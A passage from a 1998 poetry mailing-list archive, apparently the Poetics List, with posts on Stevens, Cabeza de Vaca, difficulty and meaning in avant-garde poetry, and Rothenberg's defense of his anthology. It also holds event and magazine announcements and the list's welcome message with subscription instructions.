that it favors invention over discovery.

one might ask what it is that stevens "discovered" in his poems; to me, he invents a singulary strange, beautiful, intellectual space full of funny sounds and musical instruments and corpulent plenipotentiaries. But perhaps for

Stevens, these places were discoveries, that he didn't feel that he made them up, but found them. This seems such an important question to me...

m coffey

↑ Index

12. **ScoutEW**
Would like submissions...for a new magazine...
Fri 1 May 1998

I would like submissions for a new magazine I am doing .. "Tool a Magazine" will be out in July with its first issue and so far great poems by Jordan Davis, Katy Lederer and many more will be in the first issue. This is going to be a tri-monthly affair, dedicated to poetics and essays concerning poetry..if you would like to send something please do, If we decide to print something we will email you back and tell you.. Erik SWeet PO Box 3125 Albany NY, 12203 Scout [redacted] Gary Sullivan I know you want to send something!!!! thanks all.....

↑ Index

13. **ScoutEW**
Arizona out there...?
Fri 1 May 1998

Anyone on this poetics list who is currently living out there in Arizona!!! if you feel nice enough to backchannel me.. I have some questions about your great state...just drop a line ..or anyone who has the down low on the desert dream state.. Question of the day....I am working on Olson's Proposed poem "West" I am very interested in Cabeza de Vaca's trip on foot with Esteban across the southwest and his powers to heal..also on hopi myth of the first people who came from the caves...any info on this would increase my satisfaction and make an already crappy day wonderful. erik sweet

↑ Index

14. **Billy Little**
Re: Arizona out there...?
Fri 1 May 1998

Haniel Long's interlinear to cabeza de vaca is a neglected masterpiece

i don't remember, is that a pen name, cabeza de vaca--empty head?

↑ Index

15. Safdie Joseph
Re: Arizona out there...?
Fri 1 May 1998

On Cabeza . . . if you haven't seen Haniel Long's "interlinear" (speaking of "writing through"!) of imagined letters from Cabeza to the king of Spain, published by Frontier Press in the early 70s, that might be a place to start.

> *----------*
> *From: ScoutEW[SMTP:[redacted]]*
> *Sent: Friday, May 01, 1998 9:38 AM*
> *To: [redacted]*
> *Subject: Arizona out there...?*
>
> *Anyone on this poetics list who is currently living out there in Arizona!!!*
> *if you feel nice enough to backchannel me.. I have some questions about your*
> *great state...just drop a line ..or anyone who has the down low on the desert*
> *dream state..*
> *Question of the day....I am working on Olson's Proposed poem "West"*
> *I am very interested in Cabeza de Vaca's trip on foot with Esteban across the*
> *southwest and his powers to heal..also on hopi myth of the first people who*
> *came from the caves...any info on this would increase my satisfaction and make*
> *an already crappy day wonderful.*
> *erik sweet*

↑ Index

16. William Burmeister Prod
Re: Arizona out there...?
Fri 1 May 1998

> *Haniel Long's interlinear to cabeza de vaca is a neglected masterpiece*
>
> *i don't remember, is that a pen name, cabeza de vaca--empty head?*

That sounds like a nice homophonic xlation, but cabeza de Vaca ------> "cow's head"

↑ Index

17. groberts
Stevens and surrealism
Fri 1 May 1998

My favorite "surrealist" moment in Stevens occurs in "Esthetique du Mal": don't have the poem handy now, but the passage goes something like, "the paratroopers fall, and as they fall they mow the lawn" etc..

I wonder if Stevens would have written the line if he had known of riding tractor mowers...hmm.

Gary R.

↑ Index

18. Marc Nasdor (by way of Charles Bernstein <[redacted]>)" <[redacted]>
A Tribute to Allen Ginsberg - Thursday 5/14/98
Fri 1 May 1998

PLANET NEWS: A TRIBUTE TO ALLEN GINSBERG

Thursday, May 14, 1998
7:00 p.m.
Cathedral of St. John the Divine
Amsterdam Avenue at 112th Street, Manhattan
Admission Free

Information: [redacted]
email: [redacted]
http://www.con2.com/~marc/ginsberg

FEATURING:

AMIRI BARAKA
PATTI SMITH
THE FUGS
PHILIP GLASS
NATALIE MERCHANT
ANNE WALDMAN
SONIA SANCHEZ
PEDRO PIETRI

DAVID DELLINGER
JAYNE CORTEZ
ED SANDERS
DANNY SCHECHTER
STEPHAN SMITH
BOB ROSENTHAL
ANDY CLAUSEN
ATEVEN TAYLOR
DAVID GREENBERG
+ SPECIAL GUESTS

Allen Ginsberg's groundbreaking and visionary work provided inspiration to poets and political activists throughout the world for five decades. To honor Allen's spirit and to celebrate his life, his poetry and his social commitment, this tribute will feature a three-hour program of poets, musicians and activist speakers who wither worked closely with Allen or were influenced by him.

Allen Ginsberg was renowned for his ability to inspire people to work for a better world. We hope that this event will advance Allen's progressive ideals as we enter a new millenium. Besides performing their own original materials, some of the participants will be performing Allen ginsberg's poems and songs, including a few previously unpublished pieces. The event will also include informational tables by groups promoting humanitarian causes which Allen endorsed.

The tribute Organizing Committee is being chaired by the poet Ed Sanders, and coordinated bt Bob Rosenthal, Ginsberg's longtime assistant and current Trustee. For further information and event updates, please call [redacted], or email the organizing committee at [redacted]

Hope to see you there. Come early, as the event may be crowded. Doors open at 6:00 p.m.

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19. Charles Bernstein
Welcome Message
Fri 1 May 1998

Rev. 2-1-98

(This message is sent out to all new and renewing subscribers and it is sent out to the list at the beginning of every month)

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

Postal Address: 438 Clemens Hall, SUNY, Buffalo, NY 14260

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Cautions
4. Digest Option
5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein
([redacted]), Loss PequeñoGlazier
([redacted]), and Joel Kuszai ([redacted]).

Above the world-weary horizons

New obstacles for exchange arise

Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently almost 600 subscribers.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to

those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible. **<color><param>ffff,0000,0000</param>We also encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear (see section 9 below).** (THIS MEANS *YOU*).

</color>

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *<italic>Posting to Poetics is a form of publication, not personal communication</italic>.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein. Joel Kuszai is list manager. For subscription information contact us at
[redacted].

---

2. Subscriptions

Subscriptions to Poetics are free of charge. But we ask that you subscribe with your real name and we reserve the right to request additional information, including address and phone number. All subscription information you supply will remain confidential.

message, with no subject line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your

name to unsub)

We will be sent a notice of all subscription activity. Please allow several days for your new or re-subscription to take effect.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you may be able to substitute your old address here and send the unsub message.

The most frequent problem with Subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply resubscribe to the list in the normal manner, once your account problem has been resolved.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address: [redacted]. Please note that it may take up to ten days, or more, for us to reply to messages.

---

3. Cautions

Please do not post to the list personal or backchannel correspondence, or other unpublished material, without the express permission of the author. Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

The Poetics List has a 50 message daily limit. If more than 50 messages are received, the listserver will automatically hold those additional messages until the list is manually unlocked, usually the following day. While it is difficult to prescribe a set limit on the number of daily, weekly, or monthly posts for any subscriber, please keep this limit in mind. If you plan to respond to multiple threads, it is generally preferable to consolidate your reply into one message. While relevant excerpts from a post to which you are responding may usefully be appended to your reply, please do not include in your new post the whole text of a long previously posted message.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Listserve program gives you he option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply

to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "[redacted]"

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics

archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to e-mail message blank. In the body of your e-mail message type:

  review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

 or try:

 review POETICS by name

 review POETICS by country

which will give you the list alphabetically by name or a flawed list by country (since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections

to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:

http://writing.upenn.edu/epc/poetics/archive

---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If yourword processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

20. Mark Wallace
what's difficult
Fri 1 May 1998

Hey Mark Presjnar:

Thanks for your comments about the dialogue piece Jeff Hansen, Stephen-Paul Martin, and I wrote for Central Park magazine on the subject of "difficulty" in avant garde poetry, and for your comments about my other work.

I do have to say, though, that when you suggest that I "expand on" Stephen-Paul Martin's point about the inherent "difficulty" of much contemporary writing, it seems odd that you would say that about that piece, because the point that you say in your post that I am making is precisely the OPPOSITE of the point I was making there. Which is curious, I suppose, given the subject of "difficulty" that is as stake here.

In that essay, I disagree with Stephen-Paul Martin's assertion that "difficulty" is one of the main goals of the texts we are writing about, and writing--I say that the idea that such work is "difficult" is one of the pieces of cultural baggage that writers of avant garde work have absorbed all too often--one of our main "pretensions," I believe may be the word I use. Sorry to quote myself here, but I believe I say also that, "There is nothing inherently difficult about such works; there is just something unfamiliar." I go on to say that I believe that most people can learn to understand "avant garde" poetry with about several hours (say, 3) of training, which is much less training, of course, than they have received in how to read newspapers and novels.

Given all this, I'm not sure how you could have read me to be saying that what I an interested in in avant garde work is its inherent difficulty, and so would be curious to know why you think that's what I was saying.

But perhaps I am misunderstanding you in what seems to me your misunderstanding of me.

It's amazing that what's so simple can often be so difficult.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

21. Daniel Zimmerman

Re: Arizona out there...?

Fri 1 May 1998

Billy Little wrote:
>
> Haniel Long's interlinear to cabeza de vaca is a neglected masterpiece
>
> i don't remember, is that a pen name, cabeza de vaca--empty head?

Alvar Nuñez Cabeza de Vaca [Cow-head!]; his real name, as far as I know. Harvey Brown reissued Long's book in a beautiful Frontier Press edition in 1969. A few years ago PBS ran a film about CdeV's journey--a bit heavyhandedly 'epic,' but a nice surprise.

↑ Index

22. Judy Roitman

Re: what's difficult

Fri 1 May 1998

> *Sorry to quote myself here, but I believe I*
> *say also that, "There is nothing inherently difficult about such works;*
> *there is just something unfamiliar." I go on to say that I believe that*
> *most people can learn to understand "avant garde" poetry with about*
> *several hours (say, 3) of training, which is much less training, of*
> *course, than they have received in how to read newspapers and novels.*
> *Mark Wallace*

Not training. Un-training.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------

http://www.math.ukans.edu/~roitman/

↑ Index

23. Safdie Joseph
Re: The Meaning of Meaning
Fri 1 May 1998

Herb is right on the wording of the SPD flyer. But I must confess I'm still puzzled about the choice of that quote to advertise a bookstore! If the purpose of said quote was to advertise their broad selection of poetry, is it really effective to say "52% of the poetry in our store was written by poets who are almost indifferent to whether you like it or not"? I mean, I'm not IN advertising anymore, thankfully, but surely there's other selling points for this fine institution!

And furthermore (and I'm GLAD, by the way, that Herb and others read things differently than me, it's what makes the existence of this list such an odd comfort at times), how is saying, as Herb does here

> I think I'd probably shoot myself if I had to "understand" everything I
> "liked,"
>

any different than the "old saw" (Judy Roitman) of "I may not know anything about art, but I know what I like"? As was pointed out to me by my Humanities 101 teacher some 25 years ago, so does a cow.

Perhaps it's difficult to talk about these matters without raising the spectre of the intentional fallacy. Herb goes on to say:

> Anyway, for better or for worse, lots of (perhaps most) readers, viewers,
> listeners, etc. of art in its various forms DON'T get the same thing the
> artist puts into it, especially with "weirder" stuff. It doesn't mean
> they
> don't "understand" it.
>

At no time in my conscious adult life have I EVER advanced the view that a perceiver of art necessarily takes away -- nor should take away -- what the artist put into it! My question is a simpler one: to "like" something, doesn't one in fact have to have SOME notion (however erroneous) of what it MEANS? Of what it means to THAT PERSON?

I mean (!), I just didn't understand Judy earlier in the week (nor Mark Prejsnar's subsequent cheers) when she talked about an audience member

coming up to a poet and saying something to the effect of "I don't know what you meant, but I sure did like it!" (because it had that certain "je ne sais pas")?

Perhaps my misquotation of the flyer got us off on the wrong tangent; I wasn't accusing anyone of cultivating obscurity for obscurity's sake. And I know (before Mark tarnishes me again with being "commonsensepo") that there are other kinds of meaning besides the purely linguistic. One wouldn't, for example, talk about MUSIC this way. But even with the music I like, there's an understanding (again, perhaps an erroneous one) -- a sensitivity -- to what I feel the musician and/or composer is doing. I humbly submit that without some sort of this sensitivity on the audience's part, art can't exist. Art must be perceived. Perception demands understanding. Like it or not.

(Welcome back, Herb!)

On a totally unrelated matter -- can someone please tell me who performed the pop song with the lyrics

"Only kind of love is stone . . . blind . . . love.
With your blind love . . . stone blind love"

I'd be forever indebted for a backchannel with this information.

↑ Index

24. George Bowering

Re: cabeza

Fri 1 May 1998

> *i don't remember, is that a pen name, cabeza de vaca--empty head?*

Nope, Billy. Vaca means cow. As in vaquero: cowboy, or as you USAmericans say, "buckaroo."

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

25. David Baratier
A contrapuntal universe of baseball
Fri 1 May 1998

Spicer's collected 1945-46 appears as an edition of one selected by one given to one then published by eight people in an edition of many after the author left this mortal coil. It's the eight men out deal all over again. Compare the anadiplosis in baseball. So it's entirely separate of aesthetics, rather formed from contextuality in a quirk.

Hey kids rock and roll
Dave Baratier

PS: comfort and fun with lashings. depending upon the thickness of the wood and the size of the project they can be made with binder twine, cord, or rope.

RE: I am much interested in this "moral problems like baseball" you say Spicer's oyez selected brought on. Is this the problem of choosing of aesthetics of excluding? Are they problem of reading other people's work, writing your own work, figuring out what work works, what?

↑ Index

26. MAYHEW
a very difficult avant-garde poem
Sat 2 May 1998

This is from my "homage to creeley" series:

VII

I have wrecked the goddamn big car
you were planning
to write yr brilliant poem
about

forgive me
the darkness sur-
rounds us and
I did not know your name

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

27. **Herb Levy**
Re: The Meaning of Meaning
Sat 2 May 1998

Joe Safdie writes:

> *how is saying, as Herb does here*
>
> *I think I'd probably shoot myself if I had to "understand" everything I "liked,"*
>
> *any different than the "old saw" (Judy Roitman) of "I may not know anything about art, but I know what I like"? As was pointed out to me by my Humanities 101 teacher some 25 years ago, so does a cow.*

Quite different, Joe. But then I think a response like "that's great, what the fuck is it?" is an excellent response to a work of art, especially "experimental" work, work outside what is considered the common practice. That's why I say again & again on this list, as I did in what I wrote earlier

> *The real problem isn't "understanding" but rather how to get people (both in the audience AND at the creative end of things) to realize that it may be okay to respond to something without worrying about being "right."*

Understanding is overrated and more important in an academic setting than in the experience of art as such. If there's not going to be a test on iconography, a general sense of awe is a perfectly acceptable response to, say, the Ghent altar piece. What stands in the way of people "appreciating" "experimental" art works is not that the work is so "weird" it's that teachers etc. in school after school have drummed into them not only that that they have to understand something, but that these are the ways in which you can understand it. The result is that people don't knw how to deal with their responses to work that doesn't work in the ways they've been taught to recognize.

Unless you're an artist looking for technical ideas, a critic, or a student studying for a test, understanding is, literally, the last thing you need to do with a work of art. Before you get to that point, emotional and/or visceral responses are not only useful, they're necessary. & that's very different from anything that might be called "understanding.'

What makes something poetry (or more generally, art) are exactly those things that don't make immediate sense, the things that can't be summarized or translated. Texts that lack this, that are when heard read aloud, indistinguishable from simple direct prose (like those perfect epiphany poems and other expository narratives broken up into "poetic" lines that come out of workshops), seem to me to be little more than journalism. The proper response to this kind of writing is "so that's what happened" or "hey, thanks for

explaining that to me." If that's what you're looking for from art, you can get plenty everyday for fifty cents at any news stand.

> *One*
> *wouldn't, for example, talk about MUSIC this way. But even with the music I like, there's an understanding (again, perhaps an erroneous one) -- a sensitivity -- to what I feel the musician and/or composer is doing. I humbly submit that without some sort of this sensitivity on the audience's part, art can't exist. Art must be perceived. Perception demands understanding. Like it or not.*

We obviously agree that "Art must be perceived." But to say

> *Perception demands understanding. Like it or not.*

while very dramatic & all, is absurd. (What model of how the brain works did you learn?)

If anything you have it exactly backwards. One can't understand something without having perceived things about it, but you can certainly perceive things you don't understand.

What was that sound?

Herb Levy
[redacted]

↑ Index

28. s. kaipa
I n t e r l o p e: a journal of asian american poetics and issues
Sat 2 May 1998

A N N O U N C I N G T H E P R E M I E R I S S U E O F:

I n t e r l o p e
a journal of asian
american poetics
and issues

Featuring work by : TINA CELONA
WARREN LIU
HOA NGUYEN
AMAR RAVVA

For the first issue--
Please send $3.50 (US Dollars only please) to: I n t e r l o p e
Summi Kaipa, ed.
824 E. College St.
Iowa City, IA 52240

[redacted]

If you would like to subscribe--send $10.00 for 3 issues
or $12.00 for 4 issues.

I n t e r l o p e is a journal of poetics which seeks to publish innovative Asian American poetry--work which challenges the tradition of American and/or Asian American poetry.

Unsolicited manuscripts of poetry or essays are welcome. Please send between 6-10 pages of work via regular mail or email to above address.

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29. Aviva99999
East Village Poetry Site
Sat 2 May 1998

Someone kindly posted a URL for an East Village poetry zine or site or something and before I could do more than be enticed by the table of contents, my system did something illegal. Of course, I had to shut down, and somehow lost both the post and the URL. Does anyone still have it? Thanks, Aviva

↑ Index

30. Garrett Kalleberg
Third Friend
Sat 2 May 1998

May 2, 1998

A day late and a dollar short but still The Transcendental Friend.

Divine Love, impersonal Force, third Eye--"Grace" is this month's entry in the Critical Dictionary, by Jonathan Skinner.

This month's Bestiary, edited by Eleni Sikelianos, features work by Alice Notley, J. Skinner, and Marcella Durand.

The Dialectic returns from vacation with a snapshot of ontological equivocation--perceived--and captured--in the moment of its realization by Duncan Dobbelmann.

Built on Orhan Pamuk's The Black Book and Leonard Schwartz's earlier contribution, this month's Mote layer, "Devoured, Cleansed", is by Heather Ramsdell.

This issue's Project --"Forms and Hand-Carved Panels"--is by an anonymous artisan.

The first and second issues of the Friend are available from the Files page.

For general and contact information turn to the Contact page. And if you haven't done so already, please take a moment to Subscribe to the Friend (it's free).

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

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31. David Baratier
Mean(ing)
Sat 2 May 1998

The aesthetic intramural coherence among the words, phonemes, and morphemes of a literary work in accordance with the referent object (emotion etcetera) implied conferrent upon internal consistency of their closed system(page or chosen media) of interrelations. There's plenty more like baseball contributing to a lack of meaning, anomie. But then should we allow discussions of sociologists on the listserv?

Be well

David Baratier

E-mail with address for free Langpo decoder ring. Great for those friends and & that family "who don't understand you" (sorry, first 10 responses only)

↑ Index

32. Jerome Rothenberg
Re: poems for the millennium vol. 2
Sat 2 May 1998

I'm sitting here listening to Herb Levy's remarkable internet radio site (what a gift what a gift) and thinking at the same time to put down a few words in thanks and response to Joe Amato's message of the other day. Like Pierre I've held back from responding to the various comments - except for irritation with the original one from Ron - and will likely never get around to doing it fully, but I'm grateful over all and am more in agreement than not with what's been said.

The tough thing with this one is that we knew from the start that as an anthology (and I mean a largely _contemporary_ anthology) it had to be a flawed book, and we knew too that there was no way that it wouldn't be read as an anthology in that sense. For me, though - and I'm sure this holds for Pierre as well - it was conceived, like other gatherings of mine or his, as something

else: an assemblage as a pulling together of poems & people & ideas about poetry & much else in the words of others and in our own. That imago - that representation of where we've been and what we've lived thru - is something in fact that I would stand by - like any poem. (It's also why we've allowed ourselves to end the book - as epic poem replete with histories & voices - with two poems of our own.) I've writen about all of that that some number of times - going back to a piece on anthologies in L=A=N=G=U=A=G=E - and there's also an available talk from the Orono conference on 1950s poetry in which I lay out many of the issues around anthologies in general and this assemblage in particular. You can check it out through the EPC (http://writing.upenn.edu/epc/authors/rothenberg/50s.html), where it's clear, I think, that I'm offering a critique that seems obvious to me and not much different from what Joe and others have been saying.

About some of the more specific questions that Joe raises:

The omission of "more mainstream poets" was a deliberate aspect of _this_ work, which an "anthology" as such might even so have included - since our intention, as Pierre and I have stated elsewhere, was to construct a work whose imagined center was what was elsewhere treated (if at all) as a marginalized periphery. Other omissions, when viewed as an anthology, were of course more painful to us, though there was an attempt for the mapping's sake to place some of these in commentaries or to bring them forward as translators, say, where that was possible. (Spicer, since his name has come up so often, would be one such example.) In the matter of inclusions - the other side of this coin - I would call specific attention to the poets and artists around Fluxus, some of whom are as vital to my sense of the times in question as any other configuration in the book. Thus we've given a promiment space to Mac Low and Cage but equally to Emmett Williams, who I gather from further correspondence with Ron would be absent from his own imago mundi (though I ascribe no "deeply cynical" motives or "bad faith" to such an absence). We have also foregrounded a particular work by Robert Filliou and regret not having been able to do as well by Dick Higgins or George Brecht, while still managing in this instance to bring them in.

Joe notes also that volume two is more configured around "clusters" than around "movements" or "schools", which it is and is therefore very much an aspect of our sense of the times in question. Anyway we take the matter up in our iintroduction, and we indicate that the clusters chosen are representative but in no sense inclusive. The two American ones - out of a total of eight such configurations inserted in the two galleries that constitute the book's principal divisions - are the Beats (early) and the Language Poets (later), with other U.S. groupings represented in lots of different ways. The featured foregrounded ones outside the U.S. are the poets of the Vienna Group, the Arabic Tammuzi

poets, the Cobra poets and artists (Holland, Belgium, Denmark), concrete poetry as a broader international configuration, the Japanese "postwar poets", the Italian Novissimi and others, and the Chinese Misty Poets. And in addition there are two made-up clusters - of oral (not specifically pop) poetry and of machine & computer poetry. All of this makes a kind of picture but couldn't possibly pretend to completeness either outside or inside the categories in question. (And again, I go into this in more detail in the Orono piece, and Pierre and I discuss it briefly in the Introduction.)

On the "duplication" question - i.e. the carry-over of some poets from volume one to volume two - Joe recognizes this as obviously "deliberate," but wants to know "the terms of this deliberation." In brief there's a recognition that the dividing line between the two volumes and times is, like all such lines, very dubious, and that the work of any number of older poets continued to break new ground through the 1940s and beyond. So we added one particular section of "continuities" (somewhat like the "forerunners" in volume one) that brought in late works by most of those on Joe's list (Paterson, the late Pound Cantos, Breton's Ode to Fourier, Ekelof's Mölna Elegy, Zukofsky's "A," Neruda's Macchu Picchu, & so on) as a kickoff to what would follow. In addition we did an opening Prelude (subtitled, after Duncan, "In the Dark") that set up a number of "postwar" poems that gave a sense of political and social and psychic underpinnings for the whole assemblage - including some late Akhmatova and a segment of Artaud's "To Have Done with the Judgment of God." The others Joe mentions as carry-overs turned up in the "Book of Origins" section of volume one, which was a non-chronological distillation of the kinds of things I had tried to map in other anthologies, with Duncan, Césaire, Schwerner, Ortiz, Olson, and others being shown as translators or otherwise connected to the drive to reinterpret the sources and range of poetries that the century has opened up. (Spicer as translator [in a very special sense] of Lorca also appears in volume one.) In a followup to this observation, Joe notes that the duplications consist of 22 men and 4 women, which is accurate, but shouldn't obscure the fact that as the book moves on, the gender balance shifts radically until by the end (and without really pushing it) six of the last eight entries (Scalapino, Vicuña, Bracho, Iskrenko, O'Sullivan, and Cha) are women. And the poetics of gender is taken throughout as one of the significant and necessary breakthroughs of our time.

About Auden, whose name surfaces a couple of times in these discussions, I don't know if I have much to say. He was in fact going to be included in the third gallery of volume one - with commentary & all - but we were thwarted (as with Eliot and David Jones) by the economics of permissions and let it go at that. I was also inclined - though I don't know if I speak equally for Pierre here - toward Dylan Thomas and even Robert Lowell. That was both volume one and

volume two stuff, I suppose, and maybe it should also be pointed out, regarding volume 2, that our first draft of the manuscript counted up to something like 1200 pages, but to start to talk about cutting-floor strategies strikes me as both defensive on our part and offensive to those so cut. (And this is the reason why I, like all of you, hate anthologies.)

I want to note also that the book was completed more than two years ago - publication having been held up by the pace of permissions and the difficulties of production and design. In the interval since - and increasingly over the last year - we've become aware of the incredible activity in visual and hypertext domains spurred by the new technologies. The section on machine and cyber poetry that Joe mentions approvingly would correspondingly be much fuller if we were going at it now. Even so, I think that getting whatever we got into the present mapping was/is a matter of some importance and one that will lead to other assessments and reassessments. That's all that such a small section could do anyway - much like that on oral poetry: a vast territory that I thought had to be in the book, even if limited to a handful of examples of the kinds of language work (not just "song writing" either as Ron describes it) by contemporaries of ours not elsewhere considered as poetic equals. (I.e., if Hugo Ball's "Karawane" is a poem - and it is - so is Ella Fitzgerald's more complex variations on "Lady Be Good," which we didn't manage to transcribe, or Dizzy"s "Sabla y Blu," which we did. So the point of that inclusion is directed at our own assessments of sound poetry, say, when they decline to recognize related "masterworks" outside of literature itself.)

Finally: a couple of things that have appeared or will be appearing on the internet: Jack Foley's review of volume two at http://www.hooked.net/~jalsop/jfucmod.html, and the introduction and table of contents for volume two through the EPC (coming up). It's our hope that the presence there of many many issues and searchings will be apparent as a basis for what we've done rather than the selection of poets with which, if that was all there was to it, we couldn't possibly succeed.

ps. Exact Change has just brought out a photo reprint of Revolution of the Word (with a changed cover by Marcel Duchamp), the anthology of U.S. poetry between the two world wars that I did back in the early 1970s. It certainly supplements (and in a few instances directly prefigures) the present one -- though more clearly (to my mind) an anthology rather than an assemblage or some such creature. Some of the really striking figures here (A.L. Gillespie, Jolas, Arensberg, von Freytag Loringhoven, Harry Crosby, Mina Loy) are rarely presented elsewhere -- even more the case when the book was originally published.

Joe Amato/Kass Fleisher wrote:
>
> am embroiled in my own institutional nonsense here, but having just
> yesterday rec'd vol. two of the jerry/pierre anthology, i wanted to take
> this opportunity, and the unforgiveable speed of this medium, to toss in a
> few all-too-hasty remarks by way of reopening this thread:
>
> (1) first and foremost: if you simply pick up the book and flip through
> its contents, it should be clear that this is a vast and in some ways
> unprecedented effort... my first thought was---no doubt like some of
> you---that so & so had been excluded, and that so & so had been included...
> and my list of so & so's on both sides of the exclusion/inclusion coin
> would have included many more mainstream poets, simply b/c i believe it
> important to try to bring disparate communities of poets together, if only
> to squabble (i worry a bit that some may not come to this volume b/c of
> obvious exclusions)... but there can be no denying that the range of volume
> two is considerable... and that the editors are to be congratulated once
> again...
>
> (2) that said, i note in flipping through that the book does not seem to
> offer as clearcut a configuration of 'schools' and 'movements' as did
> volume one... is this simply an impression?---or is volume two configured
> more around clusters?... for what it's worth: i had my dozen or so (again,
> engineering/science major, creative writing) students paw through the
> volume a bit, and their first observation was that it didn't designate
> movements (e.g., modernism, surrealism, etc.) as did the first volume...
> for what it's worth, i say... now, i anticipated that this volume would be,
> by its very nature, more controversial, in trying to approach the
> impossible present with an eye or two toward the impossible future...
>
> (3) i haven't had a chance to really spend any time with editorial
> apparatus---i've only skimmed through... but i want to offer here a quick
